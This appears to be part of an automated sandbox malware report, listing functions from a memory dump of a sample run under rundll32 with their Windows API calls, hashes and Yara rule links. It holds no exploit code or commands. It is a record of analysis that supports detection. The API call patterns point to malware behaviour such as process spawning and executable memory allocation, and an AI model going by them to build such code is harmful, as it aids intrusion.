                          • Instruction Fuzzy Hash: 7311E7BA901108FFDB11DFA9EC84DEEBBBDEB48304B10416AF901E2114E736AE45DB50
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CBA5E7 Relevance: 9.1, APIs: 6, Instructions: 65memorystringCOMMON
                          Download Yara Rule
                          APIs
                          • lstrlen.KERNEL32(00000000,7620F730,-00000001,00000000,?,?,?,04CB8EF7,?,00000000,000000FF), ref: 04CBA5F8
                          • lstrlen.KERNEL32(?,?,?,?,04CB8EF7,?,00000000,000000FF), ref: 04CBA5FF
                          • RtlAllocateHeap.NTDLL(00000000,00000020), ref: 04CBA611
                          • _snprintf.NTDLL ref: 04CBA637
                            • Part of subcall function 04CCC01F: memset.NTDLL ref: 04CCC034
                            • Part of subcall function 04CCC01F: lstrlenW.KERNEL32(00000000,00000000,00000000,774CDBB0,00000020,00000000), ref: 04CCC06D
                            • Part of subcall function 04CCC01F: wcstombs.NTDLL ref: 04CCC077
                            • Part of subcall function 04CCC01F: CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000000,0C000000,00000000,00000000,00000044,?,00000000,774CDBB0,00000020,00000000), ref: 04CCC0A8
                            • Part of subcall function 04CCC01F: WaitForMultipleObjects.KERNEL32(00000002,?,00000000,04CBA645), ref: 04CCC0D4
                            • Part of subcall function 04CCC01F: TerminateProcess.KERNEL32(?,000003E5), ref: 04CCC0EA
                            • Part of subcall function 04CCC01F: WaitForMultipleObjects.KERNEL32(00000002,?,00000000,04CBA645), ref: 04CCC0FE
                            • Part of subcall function 04CCC01F: CloseHandle.KERNEL32(?), ref: 04CCC131
                            • Part of subcall function 04CCC01F: CloseHandle.KERNEL32(?), ref: 04CCC136
                          • _snprintf.NTDLL ref: 04CBA66B
                            • Part of subcall function 04CCC01F: GetLastError.KERNEL32 ref: 04CCC102
                            • Part of subcall function 04CCC01F: GetExitCodeProcess.KERNEL32(?,00000001), ref: 04CCC122
                          • HeapFree.KERNEL32(00000000,00000000,00000000,?,?,?,?,00000000,000000FF), ref: 04CBA688
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Processlstrlen$CloseHandleHeapMultipleObjectsWait_snprintf$AllocateCodeCreateErrorExitFreeLastTerminatememsetwcstombs
                          • String ID:
                          • API String ID: 1481739438-0
                          • Opcode ID: c8964aa7e64af726abe3254b1ab3e412d24098f1ffaf75d1d3be41ba691d8f79
                          • Instruction ID: 2fde7a008d50c97b19f79fdd7bbcf5873941352b260deb12ef2bb032d3c776bd
                          • Opcode Fuzzy Hash: c8964aa7e64af726abe3254b1ab3e412d24098f1ffaf75d1d3be41ba691d8f79
                          • Instruction Fuzzy Hash: C8118EBA500118BFCB119F64DC84E9E7F6DEB08360B058115FE4997251D636EE14DBE0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CCF791 Relevance: 9.1, APIs: 6, Instructions: 64memorystringCOMMON
                          Download Yara Rule
                          APIs
                          • lstrlen.KERNEL32(04CB261E,00000000,00000000,00000008,00000000,?,04CB261E,04CB988B,00000000,?), ref: 04CCF7A7
                          • RtlAllocateHeap.NTDLL(00000000,00000009,00000000), ref: 04CCF7BA
                          • lstrcpy.KERNEL32(00000008,04CB261E), ref: 04CCF7DC
                          • GetLastError.KERNEL32(04CB4A0A,00000000,00000000,?,04CB261E,04CB988B,00000000,?), ref: 04CCF805
                          • HeapFree.KERNEL32(00000000,00000000,?,04CB261E,04CB988B,00000000,?), ref: 04CCF81D
                          • CloseHandle.KERNEL32(00000000,04CB4A0A,00000000,00000000,?,04CB261E,04CB988B,00000000,?), ref: 04CCF826
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Heap$AllocateCloseErrorFreeHandleLastlstrcpylstrlen
                          • String ID:
                          • API String ID: 2860611006-0
                          • Opcode ID: b01f4f7e858d80a57219815e5c0e3781af3e7d75e55263c58455493e6b75b009
                          • Instruction ID: b719429fc865567924e0456c2f1a31b812b247c9b31bee6880744579208632b9
                          • Opcode Fuzzy Hash: b01f4f7e858d80a57219815e5c0e3781af3e7d75e55263c58455493e6b75b009
                          • Instruction Fuzzy Hash: 6911907960124AFFDB109F64D8889AABBBAFF01364704442EF916C3290D734BD45DBA0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CC508C Relevance: 9.1, APIs: 6, Instructions: 61stringthreadtimeCOMMON
                          Download Yara Rule
                          APIs
                          • GetTempPathA.KERNEL32(00000000,00000000,00000000,00000000,761B5520,?,?,?,04CB5112,00000000,?,00000000,00000000,?), ref: 04CC509E
                            • Part of subcall function 04CB9394: RtlAllocateHeap.NTDLL(00000000,?,04CC0051), ref: 04CB93A0
                          • GetTempPathA.KERNEL32(00000000,00000000,0000001D,?,?,?,04CB5112,00000000,?,00000000,00000000,?), ref: 04CC50B7
                          • GetCurrentThreadId.KERNEL32 ref: 04CC50C4
                          • GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,04CB5112,00000000,?,00000000,00000000,?), ref: 04CC50D0
                          • GetTempFileNameA.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,04CB5112,00000000,?,00000000,00000000,?), ref: 04CC50DE
                          • lstrcpy.KERNEL32(00000000), ref: 04CC5100
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Temp$FilePathTime$AllocateCurrentHeapNameSystemThreadlstrcpy
                          • String ID:
                          • API String ID: 1175089793-0
                          • Opcode ID: f2efd4cabd85bc19f19b0e579c06cec2aef4c3f3f808df050cc550ba2b4aa32d
                          • Instruction ID: ac382d270ccc5669d90445812099de70d6ec265d69c37b1a6aa7d83361e504b3
                          • Opcode Fuzzy Hash: f2efd4cabd85bc19f19b0e579c06cec2aef4c3f3f808df050cc550ba2b4aa32d
                          • Instruction Fuzzy Hash: 1501847A9111257B97119BAA9C8CE6F7BBDEFC5B447090459FA01D3100DB74FD0197B0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CB4F2E Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 120memorystringCOMMON
                          Download Yara Rule
                          APIs
                          • RtlAllocateHeap.NTDLL(00000000,?), ref: 04CB4FB8
                          • lstrlen.KERNEL32(?,?), ref: 04CB4FE9
                          • memcpy.NTDLL(00000008,?,00000001), ref: 04CB4FF8
                          • HeapFree.KERNEL32(00000000,00000000,?), ref: 04CB507A
                          Strings
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Heap$AllocateFreelstrlenmemcpy
                          • String ID: W
                          • API String ID: 379260646-655174618
                          • Opcode ID: 814f03796c228a7557dd9169ed1e62305a23086874274afd89cfb0c7a9713419
                          • Instruction ID: 2a1d4a19e6c1366b218b2182c2a9fc9e4446a4cd7b09335f885fc4f4dcf2b06e
                          • Opcode Fuzzy Hash: 814f03796c228a7557dd9169ed1e62305a23086874274afd89cfb0c7a9713419
                          • Instruction Fuzzy Hash: C841B434105605EFCB288F69D8847EA77EBEB05309F04842EE5C9CB251D735B645CBC9
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CC596C Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 112COMMON
                          Download Yara Rule
                          APIs
                          • memset.NTDLL ref: 04CC5A17
                          • FlushFileBuffers.KERNEL32(00000000,?,00000000,00000000), ref: 04CC5A84
                          • GetLastError.KERNEL32(?,00000000,00000000), ref: 04CC5A8E
                          Strings
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: BuffersErrorFileFlushLastmemset
                          • String ID: K$P
                          • API String ID: 3817869962-420285281
                          • Opcode ID: 6282f29d44e5c0ae9d704e7f0c59d6fa6d9c19e9ab58f18ecf88b6fc2458df24
                          • Instruction ID: bb1af57c0959d18845f35db3babd2956b5a17e9fe2fde4fb04e451f622782f73
                          • Opcode Fuzzy Hash: 6282f29d44e5c0ae9d704e7f0c59d6fa6d9c19e9ab58f18ecf88b6fc2458df24
                          • Instruction Fuzzy Hash: BF417D74A01619AFDB24CFA9C9846BEBBF2FF44704F54893DD49693680D334BA44CB60
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CBD0E3 Relevance: 8.9, APIs: 7, Instructions: 108stringCOMMON
                          Download Yara Rule
                          APIs
                          • memcpy.NTDLL(?,04CBDE40,00000000,?,?,?,04CBDE40,?,?,?,?,?), ref: 04CBD121
                          • lstrlen.KERNEL32(04CBDE40,?,?,?,04CBDE40,?,?,?,?,?), ref: 04CBD13F
                          • memcpy.NTDLL(?,?,?,?,?,?,?), ref: 04CBD1AE
                          • lstrlen.KERNEL32(04CBDE40,00000000,00000000,?,?,?,04CBDE40,?,?,?,?,?), ref: 04CBD1CF
                          • lstrlen.KERNEL32(03F8458B,?,?,?,?,?,?,?), ref: 04CBD1E3
                          • memcpy.NTDLL(?,03F8458B,00000000,?,?,?,?,?,?,?), ref: 04CBD1EC
                          • LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 04CBD1FA
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: lstrlenmemcpy$FreeLocal
                          • String ID:
                          • API String ID: 1123625124-0
                          • Opcode ID: fe2c38f66eefac15e9f137f1a72d0cd5fe3760a4ddc4ed6c2ee76fdf42589e08
                          • Instruction ID: 5239fc484c925d60ee294d57b7a1466c6efac9047c1e87a47b595874f83ea450
                          • Opcode Fuzzy Hash: fe2c38f66eefac15e9f137f1a72d0cd5fe3760a4ddc4ed6c2ee76fdf42589e08
                          • Instruction Fuzzy Hash: 834117BA80021AABDF109F64DC419DF3BA9EF043A4F054025FD15A7211E731EE609BE0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CB2009 Relevance: 7.7, APIs: 6, Instructions: 171stringCOMMON
                          Download Yara Rule
                          APIs
                            • Part of subcall function 04CB8669: ExpandEnvironmentStringsW.KERNEL32(?,00000000,00000000,?,?,?,04CB2028,?), ref: 04CB867A
                            • Part of subcall function 04CB8669: ExpandEnvironmentStringsW.KERNEL32(?,00000000,00000000,00000000,?,?,?,04CB2028,?), ref: 04CB8697
                          • lstrlenW.KERNEL32(?,00000000,?,?,?), ref: 04CB2055
                          • lstrlenW.KERNEL32(00000008,?,?,?), ref: 04CB205C
                          • lstrlenW.KERNEL32(?,?,?,?,?), ref: 04CB207A
                          • lstrlen.KERNEL32(00000000,?,00000000), ref: 04CB2138
                          • lstrlenW.KERNEL32(?), ref: 04CB2143
                          • wsprintfA.USER32 ref: 04CB2185
                            • Part of subcall function 04CCE803: HeapFree.KERNEL32(00000000,?,04CC3953,?,?,04CCBF5B,00000000,00000000,04CB10B0,00000000,04CD9F2C,00000008,00000003), ref: 04CCE80F
                            • Part of subcall function 04CBF39B: CreateFileW.KERNEL32(?,C0000000,00000000,00000000,?,00000080,00000000,?,?,00000000,00001000), ref: 04CBF3DB
                            • Part of subcall function 04CBF39B: GetLastError.KERNEL32 ref: 04CBF3E5
                            • Part of subcall function 04CBF39B: WaitForSingleObject.KERNEL32(000000C8), ref: 04CBF40A
                            • Part of subcall function 04CBF39B: CreateFileW.KERNEL32(?,C0000000,00000000,00000000,?,00000080,00000000), ref: 04CBF42D
                            • Part of subcall function 04CBF39B: SetFilePointer.KERNEL32(00001000,00000000,00000000,00000002), ref: 04CBF455
                            • Part of subcall function 04CBF39B: WriteFile.KERNEL32(00001000,00001388,?,?,00000000), ref: 04CBF46A
                            • Part of subcall function 04CBF39B: SetEndOfFile.KERNEL32(00001000), ref: 04CBF477
                            • Part of subcall function 04CBF39B: CloseHandle.KERNEL32(00001000), ref: 04CBF48F
                            • Part of subcall function 04CB9394: RtlAllocateHeap.NTDLL(00000000,?,04CC0051), ref: 04CB93A0
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Filelstrlen$CreateEnvironmentExpandHeapStrings$AllocateCloseErrorFreeHandleLastObjectPointerSingleWaitWritewsprintf
                          • String ID:
                          • API String ID: 1727939831-0
                          • Opcode ID: 1a238677b034bbc07a314703e3728947d0521395c2a6c2497a49157fac1f1934
                          • Instruction ID: 6d5c95332b6f73cbec8edb0199f4b9b3050ab947c0a7c010b766744d2fa14994
                          • Opcode Fuzzy Hash: 1a238677b034bbc07a314703e3728947d0521395c2a6c2497a49157fac1f1934
                          • Instruction Fuzzy Hash: F4511175900109EFDF15EFA8DD48DEE7BBAEF48204F048165E914A7250DB39EE11EB90
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CB7DF5 Relevance: 7.7, APIs: 6, Instructions: 163COMMON
                          Download Yara Rule
                          APIs
                          • memcpy.NTDLL(?,?,00000010,?,?,?,?,?,?,?,?,?,?,04CC5583,00000000,00000000), ref: 04CB7E46
                          • memcpy.NTDLL(00000000,00000000,?,0000011F), ref: 04CB7ED9
                          • GetLastError.KERNEL32(?,?,0000011F), ref: 04CB7F31
                          • GetLastError.KERNEL32 ref: 04CB7F63
                          • GetLastError.KERNEL32 ref: 04CB7F77
                          • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,04CC5583,00000000,00000000,?,04CB3EC6,?), ref: 04CB7F8C
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: ErrorLast$memcpy
                          • String ID:
                          • API String ID: 2760375183-0
                          • Opcode ID: 6174f806795365e0870c04728c13094d308b9d707b5d225d726c19fe7a6b1660
                          • Instruction ID: 938a3cd9a9918e4eb5f3d6e9cbe7312ef6970453f0080769364223187a71fc09
                          • Opcode Fuzzy Hash: 6174f806795365e0870c04728c13094d308b9d707b5d225d726c19fe7a6b1660
                          • Instruction Fuzzy Hash: B1515AB5901248BFEF109FA5DC88AEEBBBAEF44350F044425F945E6280D734AE54DBA0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CCADF7 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 146stringCOMMON
                          Download Yara Rule
                          APIs
                            • Part of subcall function 04CB9394: RtlAllocateHeap.NTDLL(00000000,?,04CC0051), ref: 04CB93A0
                          • lstrcpy.KERNEL32(?,00000020), ref: 04CCAEF4
                          • lstrcat.KERNEL32(?,00000020), ref: 04CCAF09
                          • lstrcmp.KERNEL32(00000000,?), ref: 04CCAF20
                          • lstrlen.KERNEL32(?), ref: 04CCAF44
                          Strings
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: AllocateHeaplstrcatlstrcmplstrcpylstrlen
                          • String ID:
                          • API String ID: 3214092121-3916222277
                          • Opcode ID: 219bd2ff080dbc6ddfd8232fb540465d518f124e637f43a99012f254db9a2d23
                          • Instruction ID: c095756049cceae00e3996cf55e4f95d3e328f6123244c6992d2353baa3d7f76
                          • Opcode Fuzzy Hash: 219bd2ff080dbc6ddfd8232fb540465d518f124e637f43a99012f254db9a2d23
                          • Instruction Fuzzy Hash: EF518971A0021CEBDF21DF99C888BADBBB6EF45314F05805EE8159B211C772BB51CB90
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CBD581 Relevance: 7.6, APIs: 6, Instructions: 122stringCOMMON
                          Download Yara Rule
                          APIs
                          • lstrlenW.KERNEL32(?,04CD3D54,060D9A2B,00000057), ref: 04CBD5A3
                          • lstrlenW.KERNEL32(?,04CD3D54,060D9A2B,00000057), ref: 04CBD5B4
                          • lstrlenW.KERNEL32(?,04CD3D54,060D9A2B,00000057), ref: 04CBD5C6
                          • lstrlenW.KERNEL32(?,04CD3D54,060D9A2B,00000057), ref: 04CBD5D8
                          • lstrlenW.KERNEL32(?,04CD3D54,060D9A2B,00000057), ref: 04CBD5EA
                          • lstrlenW.KERNEL32(?,04CD3D54,060D9A2B,00000057), ref: 04CBD5F6
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: lstrlen
                          • String ID:
                          • API String ID: 1659193697-0
                          • Opcode ID: e9db74e558e626477985c6c3f7ccb2a43f93171e833bd1c90d4abc8c93e88ed0
                          • Instruction ID: 764045165961c3a29ab912c4920a050bf718a54c89015adfba1692e3e2544cda
                          • Opcode Fuzzy Hash: e9db74e558e626477985c6c3f7ccb2a43f93171e833bd1c90d4abc8c93e88ed0
                          • Instruction Fuzzy Hash: 734104B5E0060AAFDB10DF99C880AAEB7F6FF94204F14896DD556D7200E774FA448B90
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CC5C28 Relevance: 7.6, APIs: 5, Instructions: 102synchronizationCOMMON
                          Download Yara Rule
                          APIs
                            • Part of subcall function 04CC24C3: OpenMutexA.KERNEL32(00100001,00000000,?), ref: 04CC24CF
                            • Part of subcall function 04CC24C3: SetLastError.KERNEL32(000000B7,?,04CC5C3C,?,?,00000000,?,?,?), ref: 04CC24E0
                          • WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF,?,?,00000000,?,?,?), ref: 04CC5C5C
                          • CloseHandle.KERNEL32(00000000,?,?,00000000,?,?,?), ref: 04CC5D34
                            • Part of subcall function 04CBA976: OpenWaitableTimerA.KERNEL32(00100002,00000000,?), ref: 04CBA990
                            • Part of subcall function 04CBA976: CreateWaitableTimerA.KERNEL32(04CDA1E8,00000001,?), ref: 04CBA9AD
                            • Part of subcall function 04CBA976: GetLastError.KERNEL32(?,00000000,04CC8C06,00000000,00000000,0000801C,?,?,00000000,00000001,00000000,?,00000000,?,?,?), ref: 04CBA9BE
                            • Part of subcall function 04CBA976: GetSystemTimeAsFileTime.KERNEL32(00000000,00000000,00000000,?,?,00000000,04CC8C06,00000000,00000000,0000801C), ref: 04CBA9FE
                            • Part of subcall function 04CBA976: SetWaitableTimer.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,04CC8C06,00000000,00000000,0000801C), ref: 04CBAA1D
                            • Part of subcall function 04CBA976: HeapFree.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,04CC8C06,00000000,00000000,0000801C), ref: 04CBAA33
                          • GetLastError.KERNEL32(?,?,?,00000000,?,?,?), ref: 04CC5D1D
                          • ReleaseMutex.KERNEL32(00000000,?,?,00000000,?,?,?), ref: 04CC5D26
                            • Part of subcall function 04CC24C3: CreateMutexA.KERNEL32(04CDA1E8,00000000,?,?,04CC5C3C,?,?,00000000,?,?,?), ref: 04CC24F3
                          • GetLastError.KERNEL32(?,?,00000000,?,?,?), ref: 04CC5D41
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: ErrorLast$MutexTimerWaitable$CreateOpenTime$CloseFileFreeHandleHeapMultipleObjectsReleaseSystemWait
                          • String ID:
                          • API String ID: 1700416623-0
                          • Opcode ID: b454b0791cb602edeb6f01dae3ef54a88c89f96e306c11cb83f76ed86db7fda6
                          • Instruction ID: b13c0dff2877167b096631b1d3f66f0659039765ed950e603f9b24bab04485bf
                          • Opcode Fuzzy Hash: b454b0791cb602edeb6f01dae3ef54a88c89f96e306c11cb83f76ed86db7fda6
                          • Instruction Fuzzy Hash: F1319B79A01314AFDB01AF74DD48A6A7BB7FB483147244429E456DB250E735BD00DF60
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CCC20F Relevance: 7.6, APIs: 5, Instructions: 101memoryCOMMON
                          Download Yara Rule
                          APIs
                          • RtlImageNtHeader.NTDLL(00000000), ref: 04CCC228
                            • Part of subcall function 04CBA698: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,00000208,00000000,00000000,?,?,04CB7D5E), ref: 04CBA6BE
                          • HeapFree.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000001,?,00000000,04CB89E4,00000000), ref: 04CCC26A
                          • HeapFree.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00000000,00000001), ref: 04CCC2BC
                          • VirtualAlloc.KERNEL32(00000000,01000000,00003000,00000040,00000000,00000000,?,00000000,00000000,00000001,?,00000000,04CB89E4,00000000), ref: 04CCC2D5
                            • Part of subcall function 04CBE9EC: RtlAllocateHeap.NTDLL(00000000,00000000,00000000), ref: 04CBEA0D
                            • Part of subcall function 04CBE9EC: HeapFree.KERNEL32(00000000,00000000,00000000,00000000,00000001,00000000,?,?,?,04CCC25B,00000000,00000000,00000000,00000001,?,00000000), ref: 04CBEA50
                          • GetLastError.KERNEL32(?,00000000,04CB89E4,00000000,?,?,?,?,?,?,?,04CB9100,?), ref: 04CCC30D
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Heap$Free$AllocAllocateErrorFileHeaderImageLastModuleNameVirtual
                          • String ID:
                          • API String ID: 1921436656-0
                          • Opcode ID: 767542805baac4e0aabbab540130f23c4b5ab2bd048617e9a0a7d74a4901343a
                          • Instruction ID: 4aedc7281a0395528fe0008b7b222b90b58ec93dab71b296fe153d5306c84425
                          • Opcode Fuzzy Hash: 767542805baac4e0aabbab540130f23c4b5ab2bd048617e9a0a7d74a4901343a
                          • Instruction Fuzzy Hash: C1316D79A01209AFDF25DFA5D840BEE7BBAEF08750F040069E909E7240D735BE44DB90
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CB9FF6 Relevance: 7.6, APIs: 5, Instructions: 97memorystringCOMMON
                          Download Yara Rule
                          APIs
                          • RtlAllocateHeap.NTDLL(00000000,00000007), ref: 04CBA078
                          • lstrcpy.KERNEL32(00000000,?), ref: 04CBA091
                          • lstrcpyn.KERNEL32(00000006,00000000,00000001,?,?,?,?,?,00000000,00000000,00000000), ref: 04CBA09E
                          • lstrlen.KERNEL32(04CDB3A8,?,?,?,?,?,00000000,00000000,00000000), ref: 04CBA0B0
                          • HeapFree.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,0000000D,00000000,?,?,?,?,?,00000000,00000000), ref: 04CBA0E1
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Heap$AllocateFreelstrcpylstrcpynlstrlen
                          • String ID:
                          • API String ID: 2734445380-0
                          • Opcode ID: 73416b7408c07360dba5a278c006435af8a23b52594e7ddf6183c6fd441b9698
                          • Instruction ID: 4bda871eea1ff6e772e5a5e3fe4d5cd89763bcc4d4b35f5449c89ed0df7635ac
                          • Opcode Fuzzy Hash: 73416b7408c07360dba5a278c006435af8a23b52594e7ddf6183c6fd441b9698
                          • Instruction Fuzzy Hash: 19318175900209FFDB11DF95DC88EDE7BB9EF44310F048014F95692200E776EA55DBA0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CBDD77 Relevance: 7.6, APIs: 5, Instructions: 91memorystringCOMMON
                          Download Yara Rule
                          APIs
                          • lstrlen.KERNEL32(00000001,00000000,00000000,00000000,04CB3DA2,00000000,00000001,?,?,?), ref: 04CBDD92
                          • lstrlen.KERNEL32(?), ref: 04CBDDA2
                          • RtlAllocateHeap.NTDLL(00000000,00000001), ref: 04CBDDD6
                          • RtlReAllocateHeap.NTDLL(00000000,00000000,?,?), ref: 04CBDE01
                          • memcpy.NTDLL(00000000,?,?), ref: 04CBDE20
                          • HeapFree.KERNEL32(00000000,00000000), ref: 04CBDE81
                          • memcpy.NTDLL(?,?,?,?,?,?,?,?), ref: 04CBDEA3
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Heap$Allocatelstrlenmemcpy$Free
                          • String ID:
                          • API String ID: 3204852930-0
                          • Opcode ID: 8bed4086d870ae608b977c5760e36eaaae92ec5327607c03b96c17f689c0ddab
                          • Instruction ID: 8bff40b7186fb0417e296e884db19176be955905ab59d88c9865facb8a0294c4
                          • Opcode Fuzzy Hash: 8bed4086d870ae608b977c5760e36eaaae92ec5327607c03b96c17f689c0ddab
                          • Instruction Fuzzy Hash: 72310A72C0124AAFDF11DFA5CC809EE7BBAEF18244F044469E955A7211E731EA54DFA0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CC1ECD Relevance: 7.6, APIs: 5, Instructions: 89memorystringCOMMON
                          Download Yara Rule
                          APIs
                            • Part of subcall function 04CC70C3: RtlEnterCriticalSection.NTDLL(04CDA428), ref: 04CC70CB
                            • Part of subcall function 04CC70C3: RtlLeaveCriticalSection.NTDLL(04CDA428), ref: 04CC70E0
                            • Part of subcall function 04CC70C3: InterlockedIncrement.KERNEL32(0000001C), ref: 04CC70F9
                          • RtlAllocateHeap.NTDLL(00000000,?,?), ref: 04CC1F04
                          • memcpy.NTDLL(00000000,?,?,?,00000000,?,?,?,?,?,?,?,04CC8667,?,00000000), ref: 04CC1F15
                          • lstrcmpi.KERNEL32(00000002,?), ref: 04CC1F5B
                          • memcpy.NTDLL(00000000,?,00000000,?,00000000,?,?,?,?,?,?,?,04CC8667,?,00000000), ref: 04CC1F6F
                          • HeapFree.KERNEL32(00000000,00000000,?,00000000,?,00000000,?,?,?,?,?,?,?,04CC8667,?,00000000), ref: 04CC1FB5
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: CriticalHeapSectionmemcpy$AllocateEnterFreeIncrementInterlockedLeavelstrcmpi
                          • String ID:
                          • API String ID: 733514052-0
                          • Opcode ID: 6a4a84ab8d81e3bef67b1d7479e1e61fd2f219f27dbc54d12565489e556105ef
                          • Instruction ID: 8a0b3d253f3ce92e89402e7f4fd4ac7f288ac24cc5b71e3b01dec2290bb9480f
                          • Opcode Fuzzy Hash: 6a4a84ab8d81e3bef67b1d7479e1e61fd2f219f27dbc54d12565489e556105ef
                          • Instruction Fuzzy Hash: 86319176900219BFDB109FA9D888BDE7BBAFB04254F184129F905D7201DB35AE459F90
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CB242A Relevance: 7.6, APIs: 5, Instructions: 83memorytimeCOMMON
                          Download Yara Rule
                          APIs
                            • Part of subcall function 04CCD580: lstrlen.KERNEL32(00000000,00000000,?,00000000,04CB243E,00000000,00000000,00000000,00000000,?,00000022,00000000,00000000,00000000,?,?), ref: 04CCD58C
                          • RtlEnterCriticalSection.NTDLL(04CDA428), ref: 04CB2454
                          • RtlLeaveCriticalSection.NTDLL(04CDA428), ref: 04CB2467
                          • GetSystemTimeAsFileTime.KERNEL32(?), ref: 04CB2478
                          • RtlAllocateHeap.NTDLL(00000000,00000000,?), ref: 04CB24E3
                          • InterlockedIncrement.KERNEL32(04CDA43C), ref: 04CB24FA
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
